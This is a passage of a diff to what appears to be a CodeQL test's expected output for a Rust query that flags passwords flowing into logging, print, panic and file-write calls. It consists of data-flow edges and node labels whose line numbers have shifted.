[&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:86:20:86:28 | &password | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | provenance | | +| test_logging.rs:86:20:86:28 | &password [&ref] | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | provenance | | +| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | provenance | | +| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | provenance | | +| test_logging.rs:86:21:86:28 | password | test_logging.rs:86:20:86:28 | &password | provenance | Config | +| test_logging.rs:86:21:86:28 | password | test_logging.rs:86:20:86:28 | &password [&ref] | provenance | | +| test_logging.rs:87:20:87:43 | MacroExpr | test_logging.rs:87:5:87:44 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:87:36:87:43 | password | test_logging.rs:87:20:87:43 | MacroExpr | provenance | | +| test_logging.rs:94:9:94:10 | m1 | test_logging.rs:95:11:95:28 | MacroExpr | provenance | | +| test_logging.rs:94:14:94:22 | &password | test_logging.rs:94:9:94:10 | m1 | provenance | | +| test_logging.rs:94:15:94:22 | password | test_logging.rs:94:14:94:22 | &password | provenance | Config | +| test_logging.rs:95:11:95:28 | MacroExpr | test_logging.rs:95:5:95:29 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:97:9:97:10 | m2 | test_logging.rs:98:11:98:18 | MacroExpr | provenance | | +| test_logging.rs:97:41:97:49 | &password | test_logging.rs:97:9:97:10 | m2 | provenance | | +| test_logging.rs:97:42:97:49 | password | test_logging.rs:97:41:97:49 | &password | provenance | Config | +| test_logging.rs:98:11:98:18 | MacroExpr | test_logging.rs:98:5:98:19 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:100:9:100:10 | m3 | test_logging.rs:101:11:101:18 | MacroExpr | provenance | | +| test_logging.rs:100:14:100:46 | res | test_logging.rs:100:22:100:45 | { ... } | provenance | | +| test_logging.rs:100:22:100:45 | ...::format(...) | test_logging.rs:100:14:100:46 | res | provenance | | +| test_logging.rs:100:22:100:45 | ...::must_use(...) | test_logging.rs:100:9:100:10 | m3 | provenance | | +| test_logging.rs:100:22:100:45 | MacroExpr | test_logging.rs:100:22:100:45 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:100:22:100:45 | { ... } | test_logging.rs:100:22:100:45 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:100:38:100:45 | password | test_logging.rs:100:22:100:45 | MacroExpr | provenance | | +| test_logging.rs:101:11:101:18 | MacroExpr | test_logging.rs:101:5:101:19 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:119:12:119:41 | MacroExpr | test_logging.rs:119:5:119:42 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:119:28:119:41 | get_password(...) | test_logging.rs:119:12:119:41 | MacroExpr | provenance | | +| test_logging.rs:130:9:130:10 | t1 [tuple.1] | test_logging.rs:132:28:132:29 | t1 [tuple.1] | provenance | | +| test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | test_logging.rs:130:9:130:10 | t1 [tuple.1] | provenance | | +| test_logging.rs:130:25:130:32 | password | test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | provenance | | +| test_logging.rs:132:12:132:31 | MacroExpr | test_logging.rs:132:5:132:32 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:132:28:132:29 | t1 [tuple.1] | test_logging.rs:132:28:132:31 | t1.1 | provenance | | +| test_logging.rs:132:28:132:31 | t1.1 | test_logging.rs:132:12:132:31 | MacroExpr | provenance | | +| test_logging.rs:179:12:179:37 | MacroExpr | test_logging.rs:179:5:179:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | +| test_logging.rs:179:30:179:37 | password | test_logging.rs:179:12:179:37 | MacroExpr | provenance | | +| test_logging.rs:180:14:180:37 | MacroExpr | test_logging.rs:180:5:180:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | +| test_logging.rs:180:30:180:37 | password | test_logging.rs:180:14:180:37 | MacroExpr | provenance | | +| test_logging.rs:181:13:181:38 | MacroExpr | test_logging.rs:181:5:181:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | +| test_logging.rs:181:31:181:38 | password | test_logging.rs:181:13:181:38 | MacroExpr | provenance | | +| test_logging.rs:182:15:182:38 | MacroExpr | test_logging.rs:182:5:182:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | +| test_logging.rs:182:31:182:38 | password | test_logging.rs:182:15:182:38 | MacroExpr | provenance | | +| test_logging.rs:185:23:185:46 | MacroExpr | test_logging.rs:185:16:185:47 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:185:39:185:46 | password | test_logging.rs:185:23:185:46 | MacroExpr | provenance | | +| test_logging.rs:186:22:186:45 | MacroExpr | test_logging.rs:186:16:186:46 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:186:38:186:45 | password | test_logging.rs:186:22:186:45 | MacroExpr | provenance | | +| test_logging.rs:187:31:187:54 | MacroExpr | test_logging.rs:187:16:187:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:187:47:187:54 | password | test_logging.rs:187:31:187:54 | MacroExpr | provenance | | +| test_logging.rs:188:29:188:52 | MacroExpr | test_logging.rs:188:16:188:53 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:188:45:188:52 | password | test_logging.rs:188:29:188:52 | MacroExpr | provenance | | +| test_logging.rs:189:31:189:54 | MacroExpr | test_logging.rs:189:16:189:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:189:47:189:54 | password | test_logging.rs:189:31:189:54 | MacroExpr | provenance | | +| test_logging.rs:190:33:190:56 | ...::Some(...) [Some] | test_logging.rs:190:16:190:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:190:33:190:56 | MacroExpr | test_logging.rs:190:33:190:56 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:190:49:190:56 | password | test_logging.rs:190:33:190:56 | MacroExpr | provenance | | +| test_logging.rs:191:33:191:56 | ...::Some(...) [Some] | test_logging.rs:191:16:191:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:191:33:191:56 | MacroExpr | test_logging.rs:191:33:191:56 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:191:49:191:56 | password | test_logging.rs:191:33:191:56 | MacroExpr | provenance | | +| test_logging.rs:192:37:192:60 | MacroExpr | test_logging.rs:192:16:192:61 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:192:53:192:60 | password | test_logging.rs:192:37:192:60 | MacroExpr | provenance | | +| test_logging.rs:193:39:193:62 | ...::Some(...) [Some] | test_logging.rs:193:16:193:63 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:193:39:193:62 | MacroExpr | test_logging.rs:193:39:193:62 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:193:55:193:62 | password | test_logging.rs:193:39:193:62 | MacroExpr | provenance | | +| test_logging.rs:194:40:194:63 | ...::Some(...) [Some] | test_logging.rs:194:17:194:64 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:194:40:194:63 | MacroExpr | test_logging.rs:194:40:194:63 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:194:56:194:63 | password | test_logging.rs:194:40:194:63 | MacroExpr | provenance | | +| test_logging.rs:195:34:195:66 | res | test_logging.rs:195:42:195:65 | { ... } | provenance | | +| test_logging.rs:195:34:195:75 | ... .as_str() | test_logging.rs:195:27:195:32 | expect | provenance | MaD:1 Sink:MaD:1 | +| test_logging.rs:195:42:195:65 | ...::format(...) | test_logging.rs:195:34:195:66 | res | provenance | | +| test_logging.rs:195:42:195:65 | ...::must_use(...) | test_logging.rs:195:34:195:75 | ... .as_str() | provenance | MaD:12 | +| test_logging.rs:195:42:195:65 | MacroExpr | test_logging.rs:195:42:195:65 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:195:42:195:65 | { ... } | test_logging.rs:195:42:195:65 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:195:58:195:65 | password | test_logging.rs:195:42:195:65 | MacroExpr | provenance | | +| test_logging.rs:201:36:201:70 | res | test_logging.rs:201:44:201:69 | { ... } | provenance | | +| test_logging.rs:201:36:201:81 | ... .as_bytes() | test_logging.rs:201:30:201:34 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:201:44:201:69 | ...::format(...) | test_logging.rs:201:36:201:70 | res | provenance | | +| test_logging.rs:201:44:201:69 | ...::must_use(...) | test_logging.rs:201:36:201:81 | ... .as_bytes() | provenance | MaD:11 | +| test_logging.rs:201:44:201:69 | MacroExpr | test_logging.rs:201:44:201:69 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:201:44:201:69 | { ... } | test_logging.rs:201:44:201:69 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:201:62:201:69 | password | test_logging.rs:201:44:201:69 | MacroExpr | provenance | | +| test_logging.rs:202:40:202:74 | res | test_logging.rs:202:48:202:73 | { ... } | provenance | | +| test_logging.rs:202:40:202:85 | ... .as_bytes() | test_logging.rs:202:30:202:38 | write_all | provenance | MaD:6 Sink:MaD:6 | +| test_logging.rs:202:48:202:73 | ...::format(...) | test_logging.rs:202:40:202:74 | res | provenance | | +| test_logging.rs:202:48:202:73 | ...::must_use(...) | test_logging.rs:202:40:202:85 | ... .as_bytes() | provenance | MaD:11 | +| test_logging.rs:202:48:202:73 | MacroExpr | test_logging.rs:202:48:202:73 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:202:48:202:73 | { ... } | test_logging.rs:202:48:202:73 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:202:66:202:73 | password | test_logging.rs:202:48:202:73 | MacroExpr | provenance | | +| test_logging.rs:205:15:205:49 | res | test_logging.rs:205:23:205:48 | { ... } | provenance | | +| test_logging.rs:205:15:205:60 | ... .as_bytes() | test_logging.rs:205:9:205:13 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:205:23:205:48 | ...::format(...) | test_logging.rs:205:15:205:49 | res | provenance | | +| test_logging.rs:205:23:205:48 | ...::must_use(...) | test_logging.rs:205:15:205:60 | ... .as_bytes() | provenance | MaD:11 | +| test_logging.rs:205:23:205:48 | MacroExpr | test_logging.rs:205:23:205:48 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:205:23:205:48 | { ... } | test_logging.rs:205:23:205:48 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:205:41:205:48 | password | test_logging.rs:205:23:205:48 | MacroExpr | provenance | | +| test_logging.rs:208:15:208:49 | res | test_logging.rs:208:23:208:48 | { ... } | provenance | | +| test_logging.rs:208:15:208:60 | ... .as_bytes() | test_logging.rs:208:9:208:13 | write | provenance | MaD:4 Sink:MaD:4 | +| test_logging.rs:208:23:208:48 | ...::format(...) | test_logging.rs:208:15:208:49 | res | provenance | | +| test_logging.rs:208:23:208:48 | ...::must_use(...) | test_logging.rs:208:15:208:60 | ... .as_bytes() | provenance | MaD:11 | +| test_logging.rs:208:23:208:48 | MacroExpr | test_logging.rs:208:23:208:48 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:208:23:208:48 | { ... } | test_logging.rs:208:23:208:48 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:208:41:208:48 | password | test_logging.rs:208:23:208:48 | MacroExpr | provenance | | models | 1 | Sink: lang:core; ::expect; log-injection; Argument[0] | | 2 | Sink: lang:core; crate::panicking::assert_failed; log-injection; Argument[3].Field[crate::option::Option::Some(0)] | @@ -231,211 +231,211 @@ models | 13 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | | 14 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | nodes -| test_logging.rs:42:5:42:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:42:12:42:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:42:28:42:35 | password | semmle.label | password | | test_logging.rs:43:5:43:36 | ...::log | semmle.label | ...::log | | test_logging.rs:43:12:43:35 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:43:28:43:35 | password | semmle.label | password | -| test_logging.rs:44:5:44:35 | ...::log | semmle.label | ...::log | -| test_logging.rs:44:11:44:34 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:44:27:44:34 | password | semmle.label | password | -| test_logging.rs:45:5:45:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:45:12:45:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:45:28:45:35 | password | semmle.label | password | -| test_logging.rs:46:5:46:35 | ...::log | semmle.label | ...::log | -| test_logging.rs:46:11:46:34 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:46:27:46:34 | password | semmle.label | password | -| test_logging.rs:47:5:47:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:47:24:47:47 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:47:40:47:47 | password | semmle.label | password | -| test_logging.rs:52:5:52:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:52:12:52:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:52:28:52:35 | password | semmle.label | password | -| test_logging.rs:54:5:54:49 | ...::log | semmle.label | ...::log | -| test_logging.rs:54:12:54:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:54:41:54:48 | password | semmle.label | password | -| test_logging.rs:56:5:56:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:56:12:56:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:56:39:56:46 | password | semmle.label | password | -| test_logging.rs:57:5:57:34 | ...::log | semmle.label | ...::log | -| test_logging.rs:57:12:57:33 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:57:24:57:31 | password | semmle.label | password | -| test_logging.rs:58:5:58:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:58:12:58:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:44:5:44:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:44:12:44:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:44:28:44:35 | password | semmle.label | password | +| test_logging.rs:45:5:45:35 | ...::log | semmle.label | ...::log | +| test_logging.rs:45:11:45:34 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:45:27:45:34 | password | semmle.label | password | +| test_logging.rs:46:5:46:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:46:12:46:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:46:28:46:35 | password | semmle.label | password | +| test_logging.rs:47:5:47:35 | ...::log | semmle.label | ...::log | +| test_logging.rs:47:11:47:34 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:47:27:47:34 | password | semmle.label | password | +| test_logging.rs:48:5:48:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:48:24:48:47 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:48:40:48:47 | password | semmle.label | password | +| test_logging.rs:53:5:53:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:53:12:53:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:53:28:53:35 | password | semmle.label | password | +| test_logging.rs:55:5:55:49 | ...::log | semmle.label | ...::log | +| test_logging.rs:55:12:55:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:55:41:55:48 | password | semmle.label | password | +| test_logging.rs:57:5:57:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:57:12:57:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:57:39:57:46 | password | semmle.label | password | +| test_logging.rs:58:5:58:34 | ...::log | semmle.label | ...::log | +| test_logging.rs:58:12:58:33 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:58:24:58:31 | password | semmle.label | password | -| test_logging.rs:60:5:60:54 | ...::log | semmle.label | ...::log | -| test_logging.rs:60:30:60:53 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:60:46:60:53 | password | semmle.label | password | -| test_logging.rs:61:5:61:55 | ...::log | semmle.label | ...::log | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:61:20:61:28 | &password | semmle.label | &password | -| test_logging.rs:61:20:61:28 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:61:21:61:28 | password | semmle.label | password | -| test_logging.rs:65:5:65:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:65:24:65:47 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:65:40:65:47 | password | semmle.label | password | -| test_logging.rs:67:5:67:66 | ...::log | semmle.label | ...::log | -| test_logging.rs:67:42:67:65 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:67:58:67:65 | password | semmle.label | password | -| test_logging.rs:68:5:68:67 | ...::log | semmle.label | ...::log | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:68:18:68:26 | &password | semmle.label | &password | -| test_logging.rs:68:18:68:26 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:68:19:68:26 | password | semmle.label | password | -| test_logging.rs:72:5:72:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:72:23:72:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:72:39:72:46 | password | semmle.label | password | -| test_logging.rs:74:5:74:65 | ...::log | semmle.label | ...::log | -| test_logging.rs:74:41:74:64 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:74:57:74:64 | password | semmle.label | password | -| test_logging.rs:75:5:75:51 | ...::log | semmle.label | ...::log | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:75:20:75:28 | &password | semmle.label | &password | -| test_logging.rs:75:20:75:28 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:75:21:75:28 | password | semmle.label | password | -| test_logging.rs:76:5:76:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:76:23:76:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:76:39:76:46 | password | semmle.label | password | -| test_logging.rs:82:5:82:44 | ...::log | semmle.label | ...::log | -| test_logging.rs:82:20:82:43 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:82:36:82:43 | password | semmle.label | password | -| test_logging.rs:84:5:84:62 | ...::log | semmle.label | ...::log | -| test_logging.rs:84:38:84:61 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:84:54:84:61 | password | semmle.label | password | -| test_logging.rs:85:5:85:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:85:20:85:28 | &password | semmle.label | &password | -| test_logging.rs:85:20:85:28 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:85:21:85:28 | password | semmle.label | password | -| test_logging.rs:86:5:86:44 | ...::log | semmle.label | ...::log | -| test_logging.rs:86:20:86:43 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:86:36:86:43 | password | semmle.label | password | -| test_logging.rs:93:9:93:10 | m1 | semmle.label | m1 | -| test_logging.rs:93:14:93:22 | &password | semmle.label | &password | -| test_logging.rs:93:15:93:22 | password | semmle.label | password | -| test_logging.rs:94:5:94:29 | ...::log | semmle.label | ...::log | -| test_logging.rs:94:11:94:28 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:96:9:96:10 | m2 | semmle.label | m2 | -| test_logging.rs:96:41:96:49 | &password | semmle.label | &password | -| test_logging.rs:96:42:96:49 | password | semmle.label | password | -| test_logging.rs:97:5:97:19 | ...::log | semmle.label | ...::log | -| test_logging.rs:97:11:97:18 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:99:9:99:10 | m3 | semmle.label | m3 | -| test_logging.rs:99:14:99:46 | res | semmle.label | res | -| test_logging.rs:99:22:99:45 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:99:22:99:45 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:99:22:99:45 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:99:22:99:45 | { ... } | semmle.label | { ... } | -| test_logging.rs:99:38:99:45 | password | semmle.label | password | -| test_logging.rs:100:5:100:19 | ...::log | semmle.label | ...::log | -| test_logging.rs:100:11:100:18 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:118:5:118:42 | ...::log | semmle.label | ...::log | -| test_logging.rs:118:12:118:41 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:118:28:118:41 | get_password(...) | semmle.label | get_password(...) | -| test_logging.rs:129:9:129:10 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | -| test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | semmle.label | TupleExpr [tuple.1] | -| test_logging.rs:129:25:129:32 | password | semmle.label | password | -| test_logging.rs:131:5:131:32 | ...::log | semmle.label | ...::log | -| test_logging.rs:131:12:131:31 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:131:28:131:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | -| test_logging.rs:131:28:131:31 | t1.1 | semmle.label | t1.1 | -| test_logging.rs:152:5:152:38 | ...::_print | semmle.label | ...::_print | -| test_logging.rs:152:12:152:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:152:30:152:37 | password | semmle.label | password | -| test_logging.rs:153:5:153:38 | ...::_print | semmle.label | ...::_print | -| test_logging.rs:153:14:153:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:153:30:153:37 | password | semmle.label | password | -| test_logging.rs:154:5:154:39 | ...::_eprint | semmle.label | ...::_eprint | -| test_logging.rs:154:13:154:38 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:154:31:154:38 | password | semmle.label | password | -| test_logging.rs:155:5:155:39 | ...::_eprint | semmle.label | ...::_eprint | -| test_logging.rs:155:15:155:38 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:155:31:155:38 | password | semmle.label | password | -| test_logging.rs:158:16:158:47 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:158:23:158:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:158:39:158:46 | password | semmle.label | password | -| test_logging.rs:159:16:159:46 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:159:22:159:45 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:159:38:159:45 | password | semmle.label | password | -| test_logging.rs:160:16:160:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:160:31:160:54 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:160:47:160:54 | password | semmle.label | password | -| test_logging.rs:161:16:161:53 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:161:29:161:52 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:161:45:161:52 | password | semmle.label | password | -| test_logging.rs:162:16:162:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:162:31:162:54 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:162:47:162:54 | password | semmle.label | password | -| test_logging.rs:163:16:163:57 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:163:33:163:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:163:33:163:56 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:163:49:163:56 | password | semmle.label | password | -| test_logging.rs:164:16:164:57 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:164:33:164:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:164:33:164:56 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:164:49:164:56 | password | semmle.label | password | -| test_logging.rs:165:16:165:61 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:165:37:165:60 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:165:53:165:60 | password | semmle.label | password | -| test_logging.rs:166:16:166:63 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:166:39:166:62 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:166:39:166:62 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:166:55:166:62 | password | semmle.label | password | -| test_logging.rs:167:17:167:64 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:167:40:167:63 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:167:40:167:63 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:167:56:167:63 | password | semmle.label | password | -| test_logging.rs:168:27:168:32 | expect | semmle.label | expect | -| test_logging.rs:168:34:168:66 | res | semmle.label | res | -| test_logging.rs:168:34:168:75 | ... .as_str() | semmle.label | ... .as_str() | -| test_logging.rs:168:42:168:65 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:168:42:168:65 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:168:42:168:65 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:168:42:168:65 | { ... } | semmle.label | { ... } | -| test_logging.rs:168:58:168:65 | password | semmle.label | password | -| test_logging.rs:174:30:174:34 | write | semmle.label | write | -| test_logging.rs:174:36:174:70 | res | semmle.label | res | -| test_logging.rs:174:36:174:81 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:174:44:174:69 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:174:44:174:69 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:174:44:174:69 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:174:44:174:69 | { ... } | semmle.label | { ... } | -| test_logging.rs:174:62:174:69 | password | semmle.label | password | -| test_logging.rs:175:30:175:38 | write_all | semmle.label | write_all | -| test_logging.rs:175:40:175:74 | res | semmle.label | res | -| test_logging.rs:175:40:175:85 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:175:48:175:73 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:175:48:175:73 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:175:48:175:73 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:175:48:175:73 | { ... } | semmle.label | { ... } | -| test_logging.rs:175:66:175:73 | password | semmle.label | password | -| test_logging.rs:178:9:178:13 | write | semmle.label | write | -| test_logging.rs:178:15:178:49 | res | semmle.label | res | -| test_logging.rs:178:15:178:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:178:23:178:48 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:178:23:178:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:178:23:178:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:178:23:178:48 | { ... } | semmle.label | { ... } | -| test_logging.rs:178:41:178:48 | password | semmle.label | password | -| test_logging.rs:181:9:181:13 | write | semmle.label | write | -| test_logging.rs:181:15:181:49 | res | semmle.label | res | -| test_logging.rs:181:15:181:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:181:23:181:48 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:181:23:181:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:181:23:181:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:181:23:181:48 | { ... } | semmle.label | { ... } | -| test_logging.rs:181:41:181:48 | password | semmle.label | password | +| test_logging.rs:59:5:59:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:59:12:59:35 | MacroExpr | 